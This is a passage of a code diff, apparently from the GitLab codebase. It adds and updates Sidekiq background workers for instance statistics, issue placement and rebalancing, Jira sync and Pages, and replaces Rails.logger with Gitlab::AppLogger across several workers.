:has_external_dependencies:
@@ -1180,6 +1212,14 @@
:weight: 1
:idempotent: true
:tags: []
+- :name: analytics_instance_statistics_counter_job
+ :feature_category: :instance_statistics
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: authorized_keys
:feature_category: :source_code_management
:has_external_dependencies:
@@ -1350,7 +1390,7 @@
:tags: []
- :name: flush_counter_increments
:feature_category: :not_owned
- :has_external_dependencies:
+ :has_external_dependencies:
:urgency: :low
:resource_boundary: :unknown
:weight: 1
@@ -1428,6 +1468,22 @@
:weight: 1
:idempotent:
:tags: []
+- :name: issue_placement
+ :feature_category: :issue_tracking
+ :has_external_dependencies:
+ :urgency: :high
+ :resource_boundary: :cpu
+ :weight: 2
+ :idempotent: true
+ :tags: []
+- :name: issue_rebalancing
+ :feature_category: :issue_tracking
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
+ :tags: []
- :name: mailers
:feature_category:
:has_external_dependencies:
@@ -1442,7 +1498,15 @@
:urgency: :high
:resource_boundary: :unknown
:weight: 5
- :idempotent:
+ :idempotent:
+ :tags: []
+- :name: merge_request_cleanup_refs
+ :feature_category: :source_code_management
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent: true
:tags: []
- :name: merge_request_mergeability_check
:feature_category: :source_code_management
@@ -1524,6 +1588,22 @@
:weight: 1
:idempotent:
:tags: []
+- :name: pages_remove
+ :feature_category: :pages
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
+- :name: pages_transfer
+ :feature_category: :pages
+ :has_external_dependencies:
+ :urgency: :low
+ :resource_boundary: :unknown
+ :weight: 1
+ :idempotent:
+ :tags: []
- :name: pages_update_configuration
:feature_category: :pages
:has_external_dependencies:
diff --git a/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb b/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb
new file mode 100644
index 00000000000..a9976c6e5cb
--- /dev/null
+++ b/app/workers/analytics/instance_statistics/count_job_trigger_worker.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Analytics
+ module InstanceStatistics
+ class CountJobTriggerWorker
+ include ApplicationWorker
+ include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
+
+ DEFAULT_DELAY = 3.minutes.freeze
+
+ feature_category :instance_statistics
+ urgency :low
+
+ idempotent!
+
+ def perform
+ return if Feature.disabled?(:store_instance_statistics_measurements, default_enabled: true)
+
+ recorded_at = Time.zone.now
+ measurement_identifiers = Analytics::InstanceStatistics::Measurement.identifiers
+
+ worker_arguments = Gitlab::Analytics::InstanceStatistics::WorkersArgumentBuilder.new(
+ measurement_identifiers: measurement_identifiers.values,
+ recorded_at: recorded_at
+ ).execute
+
+ perform_in = DEFAULT_DELAY.minutes.from_now
+ worker_arguments.each do |args|
+ CounterJobWorker.perform_in(perform_in, *args)
+
+ perform_in += DEFAULT_DELAY
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/analytics/instance_statistics/counter_job_worker.rb b/app/workers/analytics/instance_statistics/counter_job_worker.rb
new file mode 100644
index 00000000000..062b5ccc207
--- /dev/null
+++ b/app/workers/analytics/instance_statistics/counter_job_worker.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+
+module Analytics
+ module InstanceStatistics
+ class CounterJobWorker
+ include ApplicationWorker
+
+ feature_category :instance_statistics
+ urgency :low
+
+ idempotent!
+
+ def perform(measurement_identifier, min_id, max_id, recorded_at)
+ query_scope = ::Analytics::InstanceStatistics::Measurement::IDENTIFIER_QUERY_MAPPING[measurement_identifier].call
+
+ count = if min_id.nil? || max_id.nil? # table is empty
+ 0
+ else
+ Gitlab::Database::BatchCount.batch_count(query_scope, start: min_id, finish: max_id)
+ end
+
+ return if count == Gitlab::Database::BatchCounter::FALLBACK
+
+ InstanceStatistics::Measurement.insert_all([{ recorded_at: recorded_at, count: count, identifier: measurement_identifier }])
+ end
+ end
+ end
+end
diff --git a/app/workers/ci/build_trace_chunk_flush_worker.rb b/app/workers/ci/build_trace_chunk_flush_worker.rb
index fe59ba896a4..2908c7c2d0b 100644
--- a/app/workers/ci/build_trace_chunk_flush_worker.rb
+++ b/app/workers/ci/build_trace_chunk_flush_worker.rb
@@ -1,14 +1,16 @@
# frozen_string_literal: true
module Ci
- class BuildTraceChunkFlushWorker # rubocop:disable Scalability/IdempotentWorker
+ class BuildTraceChunkFlushWorker
include ApplicationWorker
include PipelineBackgroundQueue
+ idempotent!
+
# rubocop: disable CodeReuse/ActiveRecord
- def perform(build_trace_chunk_id)
- ::Ci::BuildTraceChunk.find_by(id: build_trace_chunk_id).try do |build_trace_chunk|
- build_trace_chunk.persist_data!
+ def perform(chunk_id)
+ ::Ci::BuildTraceChunk.find_by(id: chunk_id).try do |chunk|
+ chunk.persist_data!
end
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/workers/ci/create_cross_project_pipeline_worker.rb b/app/workers/ci/create_cross_project_pipeline_worker.rb
index 713d0092b32..679574d9f60 100644
--- a/app/workers/ci/create_cross_project_pipeline_worker.rb
+++ b/app/workers/ci/create_cross_project_pipeline_worker.rb
@@ -9,7 +9,7 @@ module Ci
def perform(bridge_id)
::Ci::Bridge.find_by_id(bridge_id).try do |bridge|
- ::Ci::CreateCrossProjectPipelineService
+ ::Ci::CreateDownstreamPipelineService
.new(bridge.project, bridge.user)
.execute(bridge)
end
diff --git a/app/workers/ci/pipelines/create_artifact_worker.rb b/app/workers/ci/pipelines/create_artifact_worker.rb
new file mode 100644
index 00000000000..220df975503
--- /dev/null
+++ b/app/workers/ci/pipelines/create_artifact_worker.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module Ci
+ module Pipelines
+ class CreateArtifactWorker
+ include ApplicationWorker
+ include PipelineBackgroundQueue
+
+ idempotent!
+
+ def perform(pipeline_id)
+ Ci::Pipeline.find_by_id(pipeline_id).try do |pipeline|
+ Ci::Pipelines::CreateArtifactService.new.execute(pipeline)
+ end
+ end
+ end
+ end
+end
diff --git a/app/workers/ci/ref_delete_unlock_artifacts_worker.rb b/app/workers/ci/ref_delete_unlock_artifacts_worker.rb
index 3b4a6fcf630..aaa77efbb74 100644
--- a/app/workers/ci/ref_delete_unlock_artifacts_worker.rb
+++ b/app/workers/ci/ref_delete_unlock_artifacts_worker.rb
@@ -10,7 +10,7 @@ module Ci
def perform(project_id, user_id, ref_path)
::Project.find_by_id(project_id).try do |project|
::User.find_by_id(user_id).try do |user|
- ::Ci::Ref.find_by_ref_path(ref_path).try do |ci_ref|
+ project.ci_refs.find_by_ref_path(ref_path).try do |ci_ref|
::Ci::UnlockArtifactsService
.new(project, user)
.execute(ci_ref)
diff --git a/app/workers/ci_platform_metrics_update_cron_worker.rb b/app/workers/ci_platform_metrics_update_cron_worker.rb
new file mode 100644
index 00000000000..ec1fc26fad3
--- /dev/null
+++ b/app/workers/ci_platform_metrics_update_cron_worker.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+class CiPlatformMetricsUpdateCronWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ # This worker does not perform work scoped to a context
+ include CronjobQueue # rubocop:disable Scalability/CronWorkerContext
+
+ feature_category :continuous_integration
+ urgency :low
+ worker_resource_boundary :cpu
+
+ def perform
+ CiPlatformMetric.insert_auto_devops_platform_targets!
+ end
+end
diff --git a/app/workers/concerns/new_issuable.rb b/app/workers/concerns/new_issuable.rb
index 22ba7c97309..482a74f49f7 100644
--- a/app/workers/concerns/new_issuable.rb
+++ b/app/workers/concerns/new_issuable.rb
@@ -27,6 +27,6 @@ module NewIssuable
# rubocop: enable CodeReuse/ActiveRecord
def log_error(record_class, record_id)
- Rails.logger.error("#{self.class}: couldn't find #{record_class} with ID=#{record_id}, skipping job") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error("#{self.class}: couldn't find #{record_class} with ID=#{record_id}, skipping job")
end
end
diff --git a/app/workers/delete_diff_files_worker.rb b/app/workers/delete_diff_files_worker.rb
index a6759a9d7c4..a31cf650b83 100644
--- a/app/workers/delete_diff_files_worker.rb
+++ b/app/workers/delete_diff_files_worker.rb
@@ -12,11 +12,11 @@ class DeleteDiffFilesWorker # rubocop:disable Scalability/IdempotentWorker
return if merge_request_diff.without_files?
MergeRequestDiff.transaction do
- merge_request_diff.clean!
-
MergeRequestDiffFile
.where(merge_request_diff_id: merge_request_diff.id)
.delete_all
+
+ merge_request_diff.clean!
end
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/workers/delete_stored_files_worker.rb b/app/workers/delete_stored_files_worker.rb
index 9cf5631b7d8..689ac3dd0ce 100644
--- a/app/workers/delete_stored_files_worker.rb
+++ b/app/workers/delete_stored_files_worker.rb
@@ -9,8 +9,8 @@ class DeleteStoredFilesWorker # rubocop:disable Scalability/IdempotentWorker
def perform(class_name, keys)
klass = begin
class_name.constantize
- rescue NameError
- nil
+ rescue NameError
+ nil
end
unless klass
diff --git a/app/workers/git_garbage_collect_worker.rb b/app/workers/git_garbage_collect_worker.rb
index 6e4feea1b26..b0307571448 100644
--- a/app/workers/git_garbage_collect_worker.rb
+++ b/app/workers/git_garbage_collect_worker.rb
@@ -37,10 +37,7 @@ class GitGarbageCollectWorker # rubocop:disable Scalability/IdempotentWorker
# Refresh the branch cache in case garbage collection caused a ref lookup to fail
flush_ref_caches(project) if task == :gc
- if task != :pack_refs
- project.repository.expire_statistics_caches
- Projects::UpdateStatisticsService.new(project, nil, statistics: [:repository_size, :lfs_objects_size]).execute
- end
+ update_repository_statistics(project) if task != :pack_refs
# In case pack files are deleted, release libgit2 cache and open file
# descriptors ASAP instead of waiting for Ruby garbage collection
@@ -106,6 +103,13 @@ class GitGarbageCollectWorker # rubocop:disable Scalability/IdempotentWorker
project.repository.has_visible_content?
end
+ def update_repository_statistics(project)
+ project.repository.expire_statistics_caches
+ return if Gitlab::Database.read_only? # GitGarbageCollectWorker may be run on a Geo secondary
+
+ Projects::UpdateStatisticsService.new(project, nil, statistics: [:repository_size, :lfs_objects_size]).execute
+ end
+
def bitmaps_enabled?
Gitlab::CurrentSettings.housekeeping_bitmaps_enabled
end
diff --git a/app/workers/issue_placement_worker.rb b/app/workers/issue_placement_worker.rb
new file mode 100644
index 00000000000..a8d59e9125c
--- /dev/null
+++ b/app/workers/issue_placement_worker.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+class IssuePlacementWorker
+ include ApplicationWorker
+
+ idempotent!
+ feature_category :issue_tracking
+ urgency :high
+ worker_resource_boundary :cpu
+ weight 2
+
+ # Move at most the most recent 100 issues
+ QUERY_LIMIT = 100
+
+ # rubocop: disable CodeReuse/ActiveRecord
+ def perform(issue_id, project_id = nil)
+ issue = find_issue(issue_id, project_id)
+ return unless issue
+
+ # Move the oldest 100 unpositioned items to the end.
+ # This is to deal with out-of-order execution of the worker,
+ # while preserving creation order.
+ to_place = Issue
+ .relative_positioning_query_base(issue)
+ .where(relative_position: nil)
+ .order({ created_at: :asc }, { id: :asc })
+ .limit(QUERY_LIMIT + 1)
+ .to_a
+
+ leftover = to_place.pop if to_place.count > QUERY_LIMIT
+
+ Issue.move_nulls_to_end(to_place)
+ Issues::BaseService.new(nil).rebalance_if_needed(to_place.max_by(&:relative_position))
+ IssuePlacementWorker.perform_async(nil, leftover.project_id) if leftover.present?
+ rescue RelativePositioning::NoSpaceLeft => e
+ Gitlab::ErrorTracking.log_exception(e, issue_id: issue_id, project_id: project_id)
+ IssueRebalancingWorker.perform_async(nil, project_id.presence || issue.project_id)
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+
+ def find_issue(issue_id, project_id)
+ return Issue.id_in(issue_id).first if issue_id
+
+ project = Project.id_in(project_id).first
+ return unless project
+
+ project.issues.first
+ end
+end
diff --git a/app/workers/issue_rebalancing_worker.rb b/app/workers/issue_rebalancing_worker.rb
new file mode 100644
index 00000000000..032ba5534e6
--- /dev/null
+++ b/app/workers/issue_rebalancing_worker.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class IssueRebalancingWorker
+ include ApplicationWorker
+
+ idempotent!
+ urgency :low
+ feature_category :issue_tracking
+
+ def perform(ignore = nil, project_id = nil)
+ return if project_id.nil?
+
+ project = Project.find(project_id)
+ issue = project.issues.first # All issues are equivalent as far as we are concerned
+
+ IssueRebalancingService.new(issue).execute
+ rescue ActiveRecord::RecordNotFound, IssueRebalancingService::TooManyIssues => e
+ Gitlab::ErrorTracking.log_exception(e, project_id: project_id)
+ end
+end
diff --git a/app/workers/jira_connect/sync_branch_worker.rb b/app/workers/jira_connect/sync_branch_worker.rb
new file mode 100644
index 00000000000..8c3416478fd
--- /dev/null
+++ b/app/workers/jira_connect/sync_branch_worker.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module JiraConnect
+ class SyncBranchWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ queue_namespace :jira_connect
+ feature_category :integrations
+ loggable_arguments 1, 2
+
+ def perform(project_id, branch_name, commit_shas)
+ project = Project.find_by_id(project_id)
+
+ return unless project
+
+ branches = [project.repository.find_branch(branch_name)] if branch_name.present?
+ commits = project.commits_by(oids: commit_shas) if commit_shas.present?
+
+ JiraConnect::SyncService.new(project).execute(commits: commits, branches: branches)
+ end
+ end
+end
diff --git a/app/workers/jira_connect/sync_merge_request_worker.rb b/app/workers/jira_connect/sync_merge_request_worker.rb
new file mode 100644
index 00000000000..b78bb8dfe16
--- /dev/null
+++ b/app/workers/jira_connect/sync_merge_request_worker.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module JiraConnect
+ class SyncMergeRequestWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ queue_namespace :jira_connect
+ feature_category :integrations
+
+ def perform(merge_request_id)
+ merge_request = MergeRequest.find_by_id(merge_request_id)
+
+ return unless merge_request && merge_request.project
+
+ JiraConnect::SyncService.new(merge_request.project).execute(merge_requests: [merge_request])
+ end
+ end
+end
diff --git a/app/workers/merge_request_cleanup_refs_worker.rb b/app/workers/merge_request_cleanup_refs_worker.rb
new file mode 100644
index 00000000000..37774658ba8
--- /dev/null
+++ b/app/workers/merge_request_cleanup_refs_worker.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+class MergeRequestCleanupRefsWorker
+ include ApplicationWorker
+
+ feature_category :source_code_management
+ idempotent!
+
+ def perform(merge_request_id)
+ merge_request = MergeRequest.find_by_id(merge_request_id)
+
+ unless merge_request
+ logger.error("Failed to find merge request with ID: #{merge_request_id}")
+ return
+ end
+
+ result = ::MergeRequests::CleanupRefsService.new(merge_request).execute
+
+ return if result[:status] == :success
+
+ logger.error("Failed cleanup refs of merge request (#{merge_request_id}): #{result[:message]}")
+ end
+end
diff --git a/app/workers/new_issue_worker.rb b/app/workers/new_issue_worker.rb
index e0e28767f8d..be9a168c3f6 100644
--- a/app/workers/new_issue_worker.rb
+++ b/app/workers/new_issue_worker.rb
@@ -12,8 +12,8 @@ class NewIssueWorker # rubocop:disable Scalability/IdempotentWorker
def perform(issue_id, user_id)
return unless objects_found?(issue_id, user_id)
- EventCreateService.new.open_issue(issuable, user)
- NotificationService.new.new_issue(issuable, user)
+ ::EventCreateService.new.open_issue(issuable, user)
+ ::NotificationService.new.new_issue(issuable, user)
issuable.create_cross_references!(user)
end
diff --git a/app/workers/new_note_worker.rb b/app/workers/new_note_worker.rb
index b31311b0e44..2bb2d0db55c 100644
--- a/app/workers/new_note_worker.rb
+++ b/app/workers/new_note_worker.rb
@@ -13,17 +13,11 @@ class NewNoteWorker # rubocop:disable Scalability/IdempotentWorker
# rubocop: disable CodeReuse/ActiveRecord
def perform(note_id, _params = {})
if note = Note.find_by(id: note_id)
- NotificationService.new.new_note(note) unless skip_notification?(note)
+ NotificationService.new.new_note(note) unless note.skip_notification?
Notes::PostProcessService.new(note).execute
else
Gitlab::AppLogger.error("NewNoteWorker: couldn't find note with ID=#{note_id}, skipping job")
end
end
# rubocop: enable CodeReuse/ActiveRecord
-
- private
-
- def skip_notification?(note)
- note.review.present?
- end
end
diff --git a/app/workers/object_storage/migrate_uploads_worker.rb b/app/workers/object_storage/migrate_uploads_worker.rb
index 33a0e0f5f88..f489e428e8d 100644
--- a/app/workers/object_storage/migrate_uploads_worker.rb
+++ b/app/workers/object_storage/migrate_uploads_worker.rb
@@ -41,16 +41,14 @@ module ObjectStorage
end
end
- # rubocop:disable Gitlab/RailsLogger
def report!(results)
success, failures = results.partition(&:success?)
- Rails.logger.info header(success, failures)
- Rails.logger.warn failures(failures)
+ Gitlab::AppLogger.info header(success, failures)
+ Gitlab::AppLogger.warn failures(failures)
raise MigrationFailures.new(failures.map(&:error)) if failures.any?
end
- # rubocop:enable Gitlab/RailsLogger
def header(success, failures)
_("Migrated %{success_count}/%{total_count} files.") % { success_count: success.count, total_count: success.count + failures.count }
@@ -104,7 +102,7 @@ module ObjectStorage
report!(results)
rescue SanityCheckError => e
# do not retry: the job is insane
- Rails.logger.warn "#{self.class}: Sanity check error (#{e.message})" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn "#{self.class}: Sanity check error (#{e.message})"
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/workers/pages_remove_worker.rb b/app/workers/pages_remove_worker.rb
new file mode 100644
index 00000000000..b83168fd7bd
--- /dev/null
+++ b/app/workers/pages_remove_worker.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class PagesRemoveWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ sidekiq_options retry: 3
+ feature_category :pages
+ loggable_arguments 0
+
+ def perform(project_id)
+ project = Project.find_by_id(project_id)
+ return unless project
+
+ project.remove_pages
+ project.pages_domains.delete_all
+ end
+end
diff --git a/app/workers/pages_transfer_worker.rb b/app/workers/pages_transfer_worker.rb
new file mode 100644
index 00000000000..f78564cc69d
--- /dev/null
+++ b/app/workers/pages_transfer_worker.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+class PagesTransferWorker # rubocop:disable Scalability/IdempotentWorker
+ include ApplicationWorker
+
+ TransferFailedError = Class.new(StandardError)
+
+ feature_category :pages
+ loggable_arguments 0, 1
+
+ def perform(method, args)
+ return unless Gitlab::PagesTransfer::Async::METHODS.include?(method)
+
+ result = Gitlab::PagesTransfer.new.public_send(method, *args) # rubocop:disable GitlabSecurity/PublicSend
+
+ # If result isn't truthy, the move failed. Promote this to an
+ # exception so that it will be logged and retried appropriately
+ raise TransferFailedError unless result
+ end
+end
diff --git a/app/workers/pages_update_configuration_worker.rb b/app/workers/pages_update_configuration_worker.rb
index d0904db6b42..07238bae8c2 100644
--- a/app/workers/pages_update_configuration_worker.rb
+++ b/app/workers/pages_update_configuration_worker.rb
@@ -10,14 +10,6 @@ class PagesUpdateConfigurationWorker
project = Project.find_by_id(project_id)
return unless project
- result = Projects::UpdatePagesConfigurationService.new(project).execute
-
- # The ConfigurationService swallows all exceptions and wraps them in a status
- # we need to keep this while the feature flag still allows running this
- # service within a request.
- # But we might as well take advantage of sidekiq retries here.
- # We should let the service raise after we remove the feature flag
- # https://gitlab.com/gitlab-org/gitlab/-/issues/230695
- raise result[:exception] if result[:exception]
+ Projects::UpdatePagesConfigurationService.new(project).execute
end
end
diff --git a/app/workers/partition_creation_worker.rb b/app/workers/partition_creation_worker.rb
index b833e818b32..119ecd28003 100644
--- a/app/workers/partition_creation_worker.rb
+++ b/app/workers/partition_creation_worker.rb
@@ -9,5 +9,7 @@ class PartitionCreationWorker
def perform
Gitlab::Database::Partitioning::PartitionCreator.new.create_partitions
+ ensure
+ Gitlab::Database::Partitioning::PartitionMonitoring.new.report_metrics
end
end
diff --git a/app/workers/personal_access_tokens/expired_notification_worker.rb b/app/workers/personal_access_tokens/expired_notification_worker.rb
index c1b1f1a461d..2ff64ec51f3 100644
--- a/app/workers/personal_access_tokens/expired_notification_worker.rb
+++ b/app/workers/personal_access_tokens/expired_notification_worker.rb
@@ -8,8 +8,6 @@ module PersonalAccessTokens
feature_category :authentication_and_authorization
def perform(*args)
- return unless Feature.enabled?(:expired_pat_email_notification)
-
notification_service = NotificationService.new
User.with_personal_access_tokens_expired_today.find_each do |user|
diff --git a/app/workers/pipeline_update_ci_ref_status_worker.rb b/app/workers/pipeline_update_ci_ref_status_worker.rb
deleted file mode 100644
index 9b1a5d8e7cf..00000000000
--- a/app/workers/pipeline_update_ci_ref_status_worker.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-# frozen_string_literal: true
-
-# NOTE: This class is unused and to be removed in 13.1~
-class PipelineUpdateCiRefStatusWorker # rubocop:disable Scalability/IdempotentWorker
- include ApplicationWorker
- include PipelineQueue
-
- urgency :high
- worker_resource_boundary :cpu
-
- def perform(pipeline_id)
- pipeline = Ci::Pipeline.find_by_id(pipeline_id)
-
- return unless pipeline
-
- Ci::UpdateCiRefStatusService.new(pipeline).call
- end
-end
diff --git a/app/workers/post_receive.rb b/app/workers/post_receive.rb
index 8f844bd0b47..4a93b1af166 100644
--- a/app/workers/post_receive.rb
+++ b/app/workers/post_receive.rb
@@ -12,8 +12,8 @@ class PostReceive # rubocop:disable Scalability/IdempotentWorker
def perform(gl_repository, identifier, changes, push_options = {})
container, project, repo_type = Gitlab::GlRepository.parse(gl_repository)
- if project.nil? && (!repo_type.snippet? || container.is_a?(ProjectSnippet))
- log("Triggered hook for non-existing project with gl_repository \"#{gl_repository}\"")
+ if container.nil? || (container.is_a?(ProjectSnippet) && project.nil?)
+ log("Triggered hook for non-existing gl_repository \"#{gl_repository}\"")
return false
end
@@ -24,7 +24,7 @@ class PostReceive # rubocop:disable Scalability/IdempotentWorker
post_received = Gitlab::GitPostReceive.new(container, identifier, changes, push_options)
if repo_type.wiki?
- process_wiki_changes(post_received, container)
+ process_wiki_changes(post_received, container.wiki)
elsif repo_type.project?
process_project_changes(post_received, container)
elsif repo_type.snippet?
@@ -59,18 +59,15 @@ class PostReceive # rubocop:disable Scalability/IdempotentWorker
after_project_changes_hooks(project, user, changes.refs, changes.repository_data)
end
- def process_wiki_changes(post_received, project)
- project.touch(:last_activity_at, :last_repository_updated_at)
- project.wiki.repository.expire_statistics_caches
- ProjectCacheWorker.perform_async(project.id, [], [:wiki_size])
-
+ def process_wiki_changes(post_received, wiki)
user = identify_user(post_received)
return false unless user
# We only need to expire certain caches once per push
- expire_caches(post_received, project.wiki.repository)
+ expire_caches(post_received, wiki.repository)
+ wiki.repository.expire_statistics_caches
- ::Git::WikiPushService.new(project, user, changes: post_received.changes).execute
+ ::Git::WikiPushService.new(wiki, user, changes: post_received.changes).execute
end
def process_snippet_changes(post_received, snippet)
@@ -78,10 +75,16 @@ class PostReceive # rubocop:disable Scalability/IdempotentWorker
return false unless user
+ replicate_snippet_changes(snippet)
+
expire_caches(post_received, snippet.repository)
Snippets::UpdateStatisticsService.new(snippet).execute
end
+ def replicate_snippet_changes(snippet)
+ # Used by Gitlab Geo
+ end
+
# Expire the repository status, branch, and tag cache once per push.
def expire_caches(post_received, repository)
repository.expire_status_cache if repository.empty?
diff --git a/app/workers/propagate_integration_worker.rb b/app/workers/propagate_integration_worker.rb
index 15c0e761a0a..68e38386372 100644
--- a/app/workers/propagate_integration_worker.rb
+++ b/app/workers/propagate_integration_worker.rb
@@ -7,10 +7,8 @@ class PropagateIntegrationWorker
idempotent!
loggable_arguments 1
- def perform(integration_id, overwrite)
- Admin::PropagateIntegrationService.propagate(
- integration: Service.find(integration_id),
- overwrite: overwrite
- )
+ # Keep overwrite parameter for backwards compatibility.
+ def perform(integration_id, overwrite = nil)
+ Admin::PropagateIntegrationService.propagate(Service.find(integration_id))
end
end
diff --git a/app/workers/propagate_service_template_worker.rb b/app/workers/propagate_service_template_worker.rb
index 37d5ccb656d..b02525b5106 100644
--- a/app/workers/propagate_service_template_worker.rb
+++ b/app/workers/propagate_service_template_worker.rb
@@ -12,7 +12,7 @@ class PropagateServiceTemplateWorker # rubocop:disable Scalability/IdempotentWor
def perform(template_id)
return unless try_obtain_lease_for(template_id)
- Projects::PropagateServiceTemplate.propagate(Service.find_by(id: template_id))
+ Admin::PropagateServiceTemplate.propagate(Service.find_by(id: template_id))
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/app/workers/repository_fork_worker.rb b/app/workers/repository_fork_worker.rb
index 395fce0696c..fc7999e7837 100644
--- a/app/workers/repository_fork_worker.rb
+++ b/app/workers/repository_fork_worker.rb
@@ -34,7 +34,7 @@ class RepositoryForkWorker # rubocop:disable Scalability/IdempotentWorker
def start_fork(project)
return true if start(project.import_state)
- Rails.logger.info("Project #{project.full_path} was in inconsistent state (#{project.import_status}) while forking.") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info("Project #{project.full_path} was in inconsistent state (#{project.import_status}) while forking.")
false
end
@@ -52,7 +52,7 @@ class RepositoryForkWorker # rubocop:disable Scalability/IdempotentWorker
def link_lfs_objects(source_project, target_project)
Projects::LfsPointers::LfsLinkService
.new(target_project)
- .execute(source_project.all_lfs_objects_oids)
+ .execute(source_project.lfs_objects_oids)
rescue Projects::LfsPointers::LfsLinkService::TooManyOidsError
raise_fork_failure(
source_project,
diff --git a/app/workers/run_pipeline_schedule_worker.rb b/app/workers/run_pipeline_schedule_worker.rb
index 7d76cbed77f..605dd624260 100644
--- a/app/workers/run_pipeline_schedule_worker.rb
+++ b/app/workers/run_pipeline_schedule_worker.rb
@@ -31,11 +31,10 @@ class RunPipelineScheduleWorker # rubocop:disable Scalability/IdempotentWorker
private
- # rubocop:disable Gitlab/RailsLogger
def error(schedule, error)
failed_creation_counter.increment
- Rails.logger.error "Failed to create a scheduled pipeline. " \
+ Gitlab::AppLogger.error "Failed to create a scheduled pipeline. " \
"schedule_id: #{schedule.id} message: #{error.message}"
Gitlab::ErrorTracking
@@ -43,7 +42,6 @@ class RunPipelineScheduleWorker # rubocop:disable Scalability/IdempotentWorker
issue_url: 'https://gitlab.com/gitlab-org/gitlab-foss/issues/41231',
schedule_id: schedule.id)
end
- # rubocop:enable Gitlab/RailsLogger
def failed_creation_counter
@failed_creation_counter ||=
diff --git a/app/workers/stuck_ci_jobs_worker.rb b/app/workers/stuck_ci_jobs_worker.rb
index b3b1ed66efc..f8209ae5e63 100644
--- a/app/workers/stuck_ci_jobs_worker.rb
+++ b/app/workers/stuck_ci_jobs_worker.rb
@@ -17,7 +17,7 @@ class StuckCiJobsWorker # rubocop:disable Scalability/IdempotentWorker
def perform
return unless try_obtain_lease
- Rails.logger.info "#{self.class}: Cleaning stuck builds" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info "#{self.class}: Cleaning stuck builds" # rubocop:disable Gitlab/RailsLogger
drop :running, BUILD_RUNNING_OUTDATED_TIMEOUT, 'ci_builds.updated_at < ?', :stuck_or_timeout_failure
drop :pending, BUILD_PENDING_OUTDATED_TIMEOUT, 'ci_builds.updated_at < ?', :stuck_or_timeout_failure
@@ -69,7 +69,7 @@ class StuckCiJobsWorker # rubocop:disable Scalability/IdempotentWorker
# rubocop: enable CodeReuse/ActiveRecord
def drop_build(type, build, status, timeout, reason)
- Rails.logger.info "#{self.class}: Dropping #{type} build #{build.id} for runner #{build.runner_id} (status: #{status}, timeout: #{timeout}, reason: #{reason})" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info "#{self.class}: Dropping #{type} build #{build.id} for runner #{build.runner_id} (status: #{status}, timeout: #{timeout}, reason: #{reason})"
Gitlab::OptimisticLocking.retry_lock(build, 3) do |b|
b.drop(reason)
end
diff --git a/app/workers/stuck_merge_jobs_worker.rb b/app/workers/stuck_merge_jobs_worker.rb
index e0209b8237a..0f9b4ddb980 100644
--- a/app/workers/stuck_merge_jobs_worker.rb
+++ b/app/workers/stuck_merge_jobs_worker.rb
@@ -7,7 +7,7 @@ class StuckMergeJobsWorker # rubocop:disable Scalability/IdempotentWorker
feature_category :source_code_management
def self.logger
- Rails.logger # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger
end
# rubocop: disable CodeReuse/ActiveRecord
diff --git a/app/workers/trending_projects_worker.rb b/app/workers/trending_projects_worker.rb
index ee7724e0fa8..eb1a7f4fef9 100644
--- a/app/workers/trending_projects_worker.rb
+++ b/app/workers/trending_projects_worker.rb
@@ -11,7 +11,7 @@ class TrendingProjectsWorker # rubocop:disable Scalability/IdempotentWorker
feature_category :source_code_management
def perform
- Rails.logger.info('Refreshing trending projects') # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.info('Refreshing trending projects')
TrendingProject.refresh!
end
diff --git a/app/workers/update_merge_requests_worker.rb b/app/workers/update_merge_requests_worker.rb
index 98534b258a7..402c1777662 100644
--- a/app/workers/update_merge_requests_worker.rb
+++ b/app/workers/update_merge_requests_worker.rb
@@ -9,8 +9,6 @@ class UpdateMergeRequestsWorker # rubocop:disable Scalability/IdempotentWorker
weight 3
loggable_arguments 2, 3, 4
- LOG_TIME_THRESHOLD = 90 # seconds
-
# rubocop: disable CodeReuse/ActiveRecord
def perform(project_id, user_id, oldrev, newrev, ref)
project = Project.find_by(id: project_id)
diff --git a/app/workers/upload_checksum_worker.rb b/app/workers/upload_checksum_worker.rb
index dc2511f718c..ce43b56bbd8 100644
--- a/app/workers/upload_checksum_worker.rb
+++ b/app/workers/upload_checksum_worker.rb
@@ -10,6 +10,6 @@ class UploadChecksumWorker # rubocop:disable Scalability/IdempotentWorker
